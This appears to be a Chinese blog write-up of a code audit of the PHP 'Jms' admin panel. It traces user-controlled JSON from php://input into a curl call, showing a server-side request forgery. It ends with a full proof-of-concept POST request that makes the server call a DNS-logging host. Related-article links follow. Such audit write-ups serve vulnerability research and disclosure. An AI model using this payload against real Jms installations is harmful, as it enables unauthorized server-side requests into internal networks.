Jms - SSRF - 代码审计
在先知上看见一人发的文章.. 一看ID这么熟悉 原来是一个群友
唉 自己审计这么垃圾 几百年没搞过了 然后玩玩吧
一打开源码 我吐了
ctrl+alt+l格式化下代码 顺眼多了
然后Seay走了一波 ,发现admin.php下的交互点比较大 就打开看下

line 28-44
这可还行 一点进去curl_init,具体看下这个Cur方法吧
function Cur($u)
{
$n = curl_init();
curl_setopt($n, CURLOPT_TIMEOUT, 30);
curl_setopt($n, CURLOPT_RETURNTRANSFER, TRUE);
if (substr($u, 0, 8) == "https://") {
curl_setopt($n, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($n, CURLOPT_SSL_VERIFYHOST, FALSE);
}
curl_setopt($n, CURLOPT_URL, $u);
curl_setopt($n, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:134.175.' . rand(80, 255) . '.' . rand(80, 255), 'CLIENT-IP:192.168.0.2'));
curl_setopt($n, CURLOPT_REFERER, "https://pjjx.1688.com/");
curl_setopt($n, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3823.400 QQBrowser/10.7.4307.400");
$s = curl_exec($n);
curl_close($n);
return $s;
}
我们把侧重点放在CURLOPT_URL就可以,可以看见后面$u 可控 就是传递过来的参数
全局搜一波吧

一共俩
在变量m里
去追下变量m
$m = file_get_contents("php://input");
Line 46
我这次get到的php新知识就是这个
我一开始想file_get_contents不是读取吗, php://input不是php的伪协议吗 这是个嘛玩意 然后就去搜了下
https://blog.csdn.net/huangjingwen1129/article/details/82858573
也就是POST请求, Content-Type 是 application/x-www-form-urlencoded 或 multipart/form-data 时,会将变量以关联数组形式传入当前脚本
然后下面第50行又会去调用Dec方法 追进去瞅一眼
function Dec($s, $c = false)
{
$s = json_decode($s, true);
if (json_last_error()) die('{"msg":"Request JSON Parse Error."}');
return $c ? Rpl($s) : $s;
}
没啥..
然后这个点是一个switch case结构
act==sbu
PS: 有一个sid参数的值我不知道咋来的 所以我就直接通过后台 用了一个功能 改了下他的请求包就可以
加入Bu 后面跟url
最终POC
POST /www.test.com/admin.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 75
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/www.test.com/admin.php
Cookie: Jms_FromID=; Jms_BackURL=http%253A//127.0.0.1/www.test.com/item.php%253Fid%253D7
{"act":"sbu","uid":"1","sid":"Wf0001ELmbuaf6h3","Bu":"http://dnslog.cn"}
漏洞证明

Jms - SSRF - 代码审计的更多相关文章
- 记一次简单的PHP代码审计(SSRF案例)
题目链接: http://oj.momomoxiaoxi.com:9090/ 用dirsearch对网址进行扫描,发现robots.txt 命令行: python3 dirsearch.py -u & ...
- java代码审计中的一些常见漏洞及其特征函数
文章来源:https://xz.aliyun.com/t/1633 最近在先知上看到之前有篇关于java代码审计的文章总结的蛮好,记录以下特征函数,方便查阅,同时自己也会将在平时代码审计过程中积累的函 ...
- ref:JAVA代码审计的一些Tips(附脚本)
ref:https://xz.aliyun.com/t/1633/ JAVA代码审计的一些Tips(附脚本) 概述 本文重点介绍JAVA安全编码与代码审计基础知识,会以漏洞及安全编码示例的方式介绍JA ...
- 熊海cms v1.0 完全代码审计
很久以前写的,写这个东西更多的是为了说明我自己的一个思路,即按照程序功能点进行代码审计, 这样经过一段时间训练,熟悉了某种功能的正确和错误实现方法,遇到类似的代码就可以很快看出是否有问题了 --- 0 ...
- Pikachu漏洞练习平台实验——php反序列化、XXE、SSRF(九)
1.序列化和反序列化 1.1.概述 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数. 序列化serialize()序列化说通俗点就是把一个对象变成 ...
- Java Web代码审计流程与漏洞函数
常见框架与组合 常见框架 Struts2 SpringMVC Spring Boot 框架执行流程 View层:视图层 Controller层:表现层 Service层:业务层 Dom层:持久层 常见 ...
- 代码审计变成CTF
0x01 代码审计中的信息收集 一个cms代码量确实不少,通读代码耗时长,效果也不一定好.而一个功能点如果之前出过漏洞,特别是多次出现漏洞的地方,证明开发者对这个漏洞的理解不充分,很容易再次绕过补丁. ...
- 网鼎杯-Fakebook-反序列化和SSRF和file协议读取文件
0x00知识点:SSRF SSRF (Server-side Request Forge, 服务端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外 ...
- Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx
Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...
随机推荐
- UVA 11475 Extend to Palindrome hash
题意: 给出一个字符串,让你往后添加最少的字符,使其成为回文串. 分析: 题目就相当于求后缀字符串为回文串的最长长度,判断回文串要O(n)时间,直接判断肯定不行.我们从后往前枚举,每次字符串与上一个字 ...
- SpringBoot:WebSocket使用Service层的方法
方法一: 创建工具类 ApplicationContextRegister.java import org.springframework.beans.BeansException; import o ...
- mybatis中使用selectKey,返回结果一直是1
转:https://www.cnblogs.com/caizhen/p/9186608.html mybatis中使用selectKey,返回结果一直是1,结合这个问题,笔记一下selectKey标签 ...
- java设计模式(10):代理模式(Proxy)
一,定义: 代理模式(Proxy):为其他对象提供一种代理以控制对这个对象的访问. 二,其类图: 三,分类一:静态代理 1,介绍:也就是需要我们为目标对象编写一个代理对象,在编译期就生成了这个代理对 ...
- linux菜鸡学习之路
Linux入门 Linux 介绍 1.Linux怎么读 2.Linux是一款操作系统,免费,开源,安全,高效,稳定,处理高并发非常强悍. Linux文件系统目录 基本介绍 linux的文件系统树状目录 ...
- 《Do Neural Dialog Systems Use the Conversation History Effectively? An Empirical Study》
https://zhuanlan.zhihu.com/p/73723782 请复制粘贴到markdown 查看器查看! Do Neural Dialog Systems Use the Convers ...
- Quzrtz.net 示例
//框架.Net Core 2.0//先用Nuget 安装最新quartz.net using System; using Quartz; using Quartz.Impl; using Syste ...
- Ubuntu虚拟机基本环境搭建以及参数设置
# 设置root账户密码 sudo passwd root # 修改源镜像(提高下载更新速度) sudo apt-get update pip install open-vm-tools pip in ...
- python 抓取异常
aa={"a":2,"b":1} for i in range(10): aa["a"]=aa["a"]-i print ...
- C语言:const详解
希望定义这样一种变量,它的值不能被改变,在整个作用域中都保持固定.例如,用一个变量来表示班级的最大人数,或者表示缓冲区的大小.为了满足这一要求,可以使用const关键字对变量加以限定:const in ...